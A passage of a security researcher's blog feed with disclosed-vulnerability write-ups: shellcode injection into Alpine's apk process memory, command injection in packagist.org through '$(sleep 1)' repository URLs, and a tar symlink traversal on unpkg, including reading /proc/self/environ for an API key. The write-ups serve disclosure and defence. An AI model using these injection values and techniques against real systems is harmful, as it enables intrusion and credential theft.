    &lt;span class=&quot;n&quot;&gt;start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;apk&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r-xp&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mem_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;nops_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mem_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nops_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;mem_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;maps_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;mem_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So we:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Find the &lt;code class=&quot;highlighter-rouge&quot;&gt;pid&lt;/code&gt; of the &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; process using &lt;code class=&quot;highlighter-rouge&quot;&gt;pidof&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Find the process’s executable memory using &lt;code class=&quot;highlighter-rouge&quot;&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt;, and&lt;/li&gt;
  &lt;li&gt;Write shellcode that will ultimately &lt;code class=&quot;highlighter-rouge&quot;&gt;exit(0)&lt;/code&gt; directly into memory. It was really surprising to me that this worked! I was expecting the write to fail.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; resumes execution after our commit hook exits, it will run our shellcode.&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;If you use Alpine Linux in a production environment, you should 1. rebuild your images and 2. consider &lt;a href=&quot;https://wiki.alpinelinux.org/wiki/Alpine_Linux:Developers&quot;&gt;donating what you can to the developers.&lt;/a&gt; It seems like &lt;code class=&quot;highlighter-rouge&quot;&gt;apk&lt;/code&gt; has &lt;a href=&quot;https://github.com/fabled&quot;&gt;one main developer&lt;/a&gt; who fixed this bug in less than a week. The &lt;a href=&quot;https://github.com/ncopa&quot;&gt;lead maintainer of Alpine&lt;/a&gt; cut a &lt;a href=&quot;https://alpinelinux.org/posts/Alpine-3.8.1-released.html&quot;&gt;new release&lt;/a&gt; shortly thereafter.&lt;/p&gt;

&lt;h3 id=&quot;shameless-plug&quot;&gt;Shameless plug&lt;/h3&gt;
&lt;p&gt;There are probably hundreds of organizations using Alpine Linux in production environments that could have been affected by this bug. Some of those organizations almost certainly have bug bounty programs that would pay generously if a similar bug had been written by one of their own developers. If the goal of a bug bounty program is to help secure an organization, shouldn’t critical bugs in dependencies qualify to some extent?&lt;/p&gt;

&lt;p&gt;This is why I launched &lt;a href=&quot;https://bountygraph.com/&quot;&gt;BountyGraph&lt;/a&gt; last month. BountyGraph provides a mechanism to crowdfund bug bounty programs for important dependencies. I hope you’ll &lt;a href=&quot;https://bountygraph.com/&quot;&gt;check it out!&lt;/a&gt;&lt;/p&gt;</content><author><name>Max Justicz</name></author><summary type="html">tl;dr I found several bugs in apk, the default package manager for Alpine Linux. Alpine is a really lightweight distro that is very commonly used with Docker. The worst of these bugs, the subject of this blog post, allows a network man-in-the-middle (or a malicious package mirror) to execute arbitrary code on the user’s machine. This is especially bad because packages aren’t served over TLS when using the default repositories. This bug has been fixed and the Alpine base images have been updated – you may want to rebuild your Alpine-derived images!</summary></entry><entry><title type="html">Remote Code Execution on packagist.org</title><link href="/security/2018/08/28/packagist-org-rce.html" rel="alternate" type="text/html" title="Remote Code Execution on packagist.org" /><published>2018-08-28T00:00:00-07:00</published><updated>2018-08-28T00:00:00-07:00</updated><id>/security/2018/08/28/packagist-org-rce</id><content type="html" xml:base="/security/2018/08/28/packagist-org-rce.html">&lt;p&gt;tl;dr There was a remote code execution vulnerability on &lt;a href=&quot;https://packagist.org&quot;&gt;packagist.org&lt;/a&gt;, the default package server behind &lt;a href=&quot;https://getcomposer.org/&quot;&gt;Composer&lt;/a&gt;, a PHP package manager. Packagist currently serves around &lt;a href=&quot;https://packagist.org/statistics&quot;&gt;400 million package downloads per month&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This bug was not technically interesting, but I figured it was worth posting about since Packagist appears to be a pretty popular service and is one of the &lt;a href=&quot;https://www.google.com/search?q=php+package+manager&quot;&gt;top Google search results&lt;/a&gt; for “PHP package manager”.&lt;/p&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;

&lt;p&gt;You could type &lt;code class=&quot;highlighter-rouge&quot;&gt;$(execute me)&lt;/code&gt; into a big text field on the site and it would execute your command in a shell (twice).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/packagist_screenshot.png&quot; alt=&quot;Packagist screenshot&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;why&quot;&gt;&lt;em&gt;WHY&lt;/em&gt;&lt;/h2&gt;

&lt;p&gt;You upload packages to Packagist by providing a URL to a Git, Perforce, Subversion, or Mercurial repository. To identify what kind of repository the URL points to, Packagist shells out to &lt;code class=&quot;highlighter-rouge&quot;&gt;git&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;p4&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;svn&lt;/code&gt;, and &lt;code class=&quot;highlighter-rouge&quot;&gt;hg&lt;/code&gt;, with application-specific commands that include this URL as an argument.&lt;/p&gt;

&lt;p&gt;I instrumented &lt;code class=&quot;highlighter-rouge&quot;&gt;ProcessExecutor::execute&lt;/code&gt;, the method used to run shell commands, to print what commands it was being asked to execute. For a URL of &lt;code class=&quot;highlighter-rouge&quot;&gt;$(sleep 1)&lt;/code&gt;, it would run the following:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git ls-remote --heads '$(sleep 1)'
hg identify '$(sleep 1)'
p4 -p $(sleep 1) info -s
svn info --non-interactive $(sleep 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;p4&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;svn&lt;/code&gt; wrappers were improperly escaping the URL parameter.&lt;/p&gt;

&lt;h2 id=&quot;mitigation&quot;&gt;Mitigation&lt;/h2&gt;

&lt;p&gt;The Packagist team quickly resolved this issue by &lt;a href=&quot;https://github.com/composer/composer/commit/bf125295df9da84c44989e33f9f84b4ed4f8ea56&quot;&gt;escaping the relevant parameters&lt;/a&gt; in the Composer repository. I reported the vulnerability to &lt;code class=&quot;highlighter-rouge&quot;&gt;security@packagist.org&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Package manager security is not always great, and you should probably plan on your package manager servers being compromised in the future.&lt;/p&gt;

&lt;p&gt;In the past year or so I have found bugs that let me &lt;a href=&quot;/security/2017/10/07/rubygems-org-rce.html&quot;&gt;execute arbitrary code on rubygems.org&lt;/a&gt;, &lt;a href=&quot;/security/2017/11/14/couchdb-rce-npm.html&quot;&gt;execute code on some of npm’s official mirrors (not the main registry)&lt;/a&gt;, &lt;a href=&quot;https://python-security.readthedocs.io/pypi-vuln/index-2017-10-12-unchecked_file_deletion.html&quot;&gt;delete arbitrary release files from PyPI&lt;/a&gt;, &lt;a href=&quot;/security/2018/05/23/cdn-tar-oops.html&quot;&gt;serve arbitrary JS on every site using a popular CDN for npm&lt;/a&gt;, and now execute arbitrary code on packagist.org. &lt;a href=&quot;https://medium.com/@vesirin/how-i-gained-commit-access-to-homebrew-in-30-minutes-2ae314df03ab&quot;&gt;Others are finding similar bugs.&lt;/a&gt; And that’s not even including the risk of a legitimate package being compromised.&lt;/p&gt;

&lt;p&gt;In particular, I think it is a security anti-pattern to have application build pipelines pull fresh downloads of packages from upstream servers on every build if the packages are not expected to change. If for some reason you have to do this, you should pin dependencies using a cryptographically secure hash function.&lt;/p&gt;</content><author><name>Max Justicz</name></author><summary type="html">tl;dr There was a remote code execution vulnerability on packagist.org, the default package server behind Composer, a PHP package manager. Packagist currently serves around 400 million package downloads per month.</summary></entry><entry><title type="html">BountyGraph: Crowdfunded Bug Bounties and Security Audits</title><link href="/bountygraph/2018/08/01/introducing-bountygraph.html" rel="alternate" type="text/html" title="BountyGraph: Crowdfunded Bug Bounties and Security Audits" /><published>2018-08-01T00:00:00-07:00</published><updated>2018-08-01T00:00:00-07:00</updated><id>/bountygraph/2018/08/01/introducing-bountygraph</id><content type="html" xml:base="/bountygraph/2018/08/01/introducing-bountygraph.html">&lt;h2 id=&quot;bug-bounties-and-dependencies&quot;&gt;Bug bounties and dependencies&lt;/h2&gt;

&lt;p&gt;I just launched a website! &lt;a href=&quot;https://bountygraph.com&quot;&gt;BountyGraph&lt;/a&gt; is built on the idea that horrible bugs in popular free and open-source software projects should be:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Found&lt;/li&gt;
  &lt;li&gt;Fixed quickly and&lt;/li&gt;
  &lt;li&gt;Worth a lot of money&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Unfortunately, some of the largest bounties are offered by organizations with a vested interest in not fixing bugs promptly or, sometimes, at all. Consider vulnerabilities in Apache HTTP Server. If one company’s &lt;a href=&quot;https://zerodium.com/program.html&quot;&gt;publicly advertised price list&lt;/a&gt; is to be believed, you can earn up to $150,000 for a working exploit, as long as you’re OK with that exploit being &lt;a href=&quot;https://zerodium.com/faq.html&quot;&gt;packaged up and sold to governments&lt;/a&gt;. The &lt;a href=&quot;https://www.zerodayinitiative.com/&quot;&gt;Trend Micro ZDI&lt;/a&gt; pays well, but they release &lt;a href=&quot;https://www.zerodayinitiative.com/about/&quot;&gt;“protection filters”&lt;/a&gt; to Trend Micro customers for each vulnerability prior to notifying the project maintainers. If instead you’d like to report your bug directly to the maintainers, &lt;a href=&quot;https://hackerone.com/ibb-apache&quot;&gt;you’re likely looking at a $3,000 reward from the Internet Bug Bounty&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I want a vulnerability reporting mechanism that doesn’t provide any business with a commercial incentive to withhold information about a bug from those who can fix it. And one day I would like for that solution to be genuinely competitive with private vulnerability brokers.&lt;/p&gt;

&lt;h2 id=&quot;introducing-bountygraph-&quot;&gt;Introducing &lt;a href=&quot;https://bountygraph.com&quot;&gt;BountyGraph&lt;/a&gt; &lt;!--, my silly startup with a silly startup name --&gt;&lt;/h2&gt;

&lt;p&gt;Here’s my proposal: what if the organizations that depend on the security of a piece of software could easily, &lt;em&gt;specifically&lt;/em&gt; allocate funds to help keep it secure? This is the idea behind BountyGraph. BountyGraph facilitates crowdfunded bug bounties and security audits for free and open-source software dependencies.&lt;/p&gt;

&lt;p&gt;The site works like this:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[edit: updated to reflect changes]&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Free and open-source software projects sign up for BountyGraph and create a profile page &lt;a href=&quot;https://bountygraph.com/programs/bountygraph&quot;&gt;like this one&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Through program pages, projects can raise money for bug bounties from their corporate users. There is also the option to crowdfund a security audit by a professional security consulting firm.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Bugs are reported to the project either via the BountyGraph ticket system or out-of-band by email.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Once a working patch is released, the maintainers assign a severity and submit the bug to BountyGraph for validation.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;BountyGraph notifies the project’s funding organizations, who then have the opportunity to pay bounties to both the hacker for finding the bug and the maintainers for fixing it.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;BountyGraph does not and will not monetize any information about the vulnerabilities that are reported using our platform. Instead, we charge a fixed percentage fee on top of each bounty.&lt;/p&gt;

&lt;p&gt;In a world where Facebook &lt;a href=&quot;https://medium.com/@johnssimon_6607/7500-worth-dom-xss-in-facebook-mobile-site-144351f00b6c&quot;&gt;will pay you $7,500&lt;/a&gt; for an XSS vulnerability affecting only their mobile site, I think it is really unfortunate how little is done to financially incentivize security research into the world’s most common dependencies. Very frequently, multi-million-user organizations rely on the security properties of software developed &lt;em&gt;by hobbyists for free&lt;/em&gt;, but do nothing to ensure that even the most superficial vulnerabilities are discovered. When the stakes are this high, it is clear that we shouldn’t just be waiting around for good-natured hackers to find bugs in dependencies at no cost.&lt;/p&gt;

&lt;p&gt;If you work for a company that wants to help close this funding gap, or if you run a FOSS project that wants to fund a bounty program or audit, I hope you’ll consider checking out &lt;a href=&quot;https://bountygraph.com&quot;&gt;BountyGraph&lt;/a&gt;!&lt;/p&gt;</content><author><name>Max Justicz</name></author><summary type="html">Bug bounties and dependencies</summary></entry><entry><title type="html">Compromising Thousands of Websites Through a CDN</title><link href="/security/2018/05/23/cdn-tar-oops.html" rel="alternate" type="text/html" title="Compromising Thousands of Websites Through a CDN" /><published>2018-05-23T00:00:00-07:00</published><updated>2018-05-23T00:00:00-07:00</updated><id>/security/2018/05/23/cdn-tar-oops</id><content type="html" xml:base="/security/2018/05/23/cdn-tar-oops.html">&lt;p&gt;tl;dr &lt;a href=&quot;https://unpkg.com/&quot;&gt;unpkg.com&lt;/a&gt; is a &lt;a href=&quot;https://unpkg.com/#/stats&quot;&gt;pretty popular&lt;/a&gt; CDN for serving up assets from npm packages. I found a vulnerability in a tar implementation that allowed me to write arbitrary files onto the unpkg server, including into other packages. If exploited, this bug would have allowed an attacker to execute malicious Javascript on &lt;a href=&quot;https://publicwww.com/websites/%22%2F%2Funpkg.com%2F%22/&quot;&gt;thousands of websites&lt;/a&gt;, including the homepages of &lt;a href=&quot;https://www.pnc.com/&quot;&gt;PNC Bank&lt;/a&gt;, &lt;a href=&quot;https://reactjs.org/&quot;&gt;React.js&lt;/a&gt;, and &lt;a href=&quot;https://www.nebraska.gov/&quot;&gt;the state of Nebraska&lt;/a&gt;. Don’t trust a third-party CDN – use &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity&quot;&gt;subresource integrity&lt;/a&gt; and pin hashes!&lt;/p&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;When you request a URL like &lt;code class=&quot;highlighter-rouge&quot;&gt;https://unpkg.com/react@16.3.2/&lt;/code&gt;, unpkg checks if it already has the package downloaded and extracted at &lt;code class=&quot;highlighter-rouge&quot;&gt;/tmp/unpkg-react-16.3.2/&lt;/code&gt;. If it doesn’t, it pulls the corresponding tar file from npm.&lt;/p&gt;

&lt;p&gt;Unpkg lets you read any file out of a package once it’s extracted. To serve react’s &lt;code class=&quot;highlighter-rouge&quot;&gt;package.json&lt;/code&gt; file, for example, you can just visit &lt;a href=&quot;https://unpkg.com/react@16.3.2/package.json&quot;&gt;https://unpkg.com/react@16.3.2/package.json&lt;/a&gt;. Or, to get a directory listing of the whole package, you can visit &lt;a href=&quot;https://unpkg.com/react@16.3.2/&quot;&gt;https://unpkg.com/react@16.3.2/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here’s a snippet of what unpkg used to extract the tar file when it pulled a package:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ignoreSymlinks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;link&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;extractResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;outputDir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;extract&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;tar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;outputDir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;readable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// All dirs/files should be readable.&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stripNamePrefix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;ignore&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ignoreSymlinks&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pipe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gunzip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pipe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;finish&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The first problem with this code is that it doesn’t actually ignore symlinks like it says it does. With &lt;a href=&quot;https://github.com/mafintosh/tar-fs&quot;&gt;this tar library&lt;/a&gt;, the &lt;code class=&quot;highlighter-rouge&quot;&gt;header.type&lt;/code&gt; for a symlink entry is &lt;code class=&quot;highlighter-rouge&quot;&gt;symlink&lt;/code&gt;, not &lt;code class=&quot;highlighter-rouge&quot;&gt;link&lt;/code&gt;. So right away this gives us arbitrary file reads on the server by creating a symlink to &lt;code class=&quot;highlighter-rouge&quot;&gt;/&lt;/code&gt; and browsing through the directory with the web interface.&lt;/p&gt;

&lt;p&gt;The second problem with this code is that even if &lt;code class=&quot;highlighter-rouge&quot;&gt;headers.type&lt;/code&gt; &lt;em&gt;did&lt;/em&gt; correctly check for &lt;code class=&quot;highlighter-rouge&quot;&gt;symlink&lt;/code&gt;, the main attack below still worked due to issues with the tar library’s implementation of &lt;code class=&quot;highlighter-rouge&quot;&gt;ignore&lt;/code&gt; functions.&lt;/p&gt;

&lt;h2 id=&quot;first-exploit-attempt&quot;&gt;First exploit attempt&lt;/h2&gt;
&lt;p&gt;On my local instance of unpkg, I was able to use this bug to read &lt;code class=&quot;highlighter-rouge&quot;&gt;/proc/self/environ&lt;/code&gt;, which would spit out the environment variables of the webserver process. In these environment variables is a Cloudflare API key which I was thinking an attacker could use to do nefarious DNS-related things with &lt;a href=&quot;https://api.cloudflare.com/&quot;&gt;their API&lt;/a&gt; (this was an untested assumption – I don’t know if Cloudflare supports restricting the permissions on their API keys).&lt;/p&gt;

&lt;p&gt;Unfortunately (fortunately?), something about Heroku’s environment made it so that I couldn’t read &lt;code class=&quot;highlighter-rouge&quot;&gt;/proc/self/environ&lt;/code&gt; on the real unpkg server. My guess is that this had to do with the incorrect HTTP &lt;code class=&quot;highlighter-rouge&quot;&gt;Content-Length&lt;/code&gt; returned by the server. When reading the &lt;code class=&quot;highlighter-rouge&quot;&gt;/proc/self/environ&lt;/code&gt;, my local instance reported &lt;code class=&quot;highlighter-rouge&quot;&gt;Content-Length: 0&lt;/code&gt;, but still returned the file in the response body. My guess is that some reasonably clever reverse proxy at Heroku sees the &lt;code class=&quot;highlighter-rouge&quot;&gt;Content-Length: 0&lt;/code&gt; and cuts out the body of the reply.&lt;/p&gt;

&lt;p&gt;The reason the server returns &lt;code class=&quot;highlighter-rouge&quot;&gt;Content-Length: 0&lt;/code&gt; is because &lt;code class=&quot;highlighter-rouge&quot;&gt;stat /proc/self/environ&lt;/code&gt; returns a size of 0, and &lt;a href=&quot;https://github.com/unpkg/unpkg/blob/6e37129ec59a34fde7ab715407f05170e121e597/server/actions/serveFile.js#L132&quot;&gt;that’s what unpkg uses&lt;/a&gt; to set that header.&lt;/p&gt;

&lt;h2 id=&quot;second-exploit-attempt&quot;&gt;Second exploit attempt&lt;/h2&gt;
&lt;p&gt;At this point I was kind of bummed that I couldn’t figure out a way to take over this server. I went ahead and reported the symlink issue to the unpkg maintainer and went to sleep.&lt;/p&gt;

&lt;p&gt;But then I started thinking more about tar files. We can extract files into a folder, we can create symlinks… can we extract files into a directory pointed to by a symlink that’s already been extracted? I pulled out my hex editor and &lt;a href=&quot;/assets/symlink-oops.tar&quot;&gt;made a tar file&lt;/a&gt; that tries this. It creates a symlink to &lt;code class=&quot;highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; called &lt;code class=&quot;highlighter-rouge&quot;&gt;link&lt;/code&gt;, and then tries to extract a file to &lt;code class=&quot;highlighter-rouge&quot;&gt;link/oops.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I figured there is no way this would work with any mature tar implementation, and sure enough this fails to extract on my laptop:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ tar -xvf symlink-oops.tar 
exploit/
exploit/link
exploit/link/oops.txt
tar: exploit/link/oops.txt: Cannot open: Not a directory
tar: Exiting with failure status due to previous errors
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;But unpkg doesn’t use GNU Tar, it uses a package called &lt;a href=&quot;https://github.com/mafintosh/tar-fs/&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;tar-fs&lt;/code&gt;&lt;/a&gt;. And &lt;code class=&quot;highlighter-rouge&quot;&gt;tar-fs&lt;/code&gt; happily extracts this archive.&lt;/p&gt;

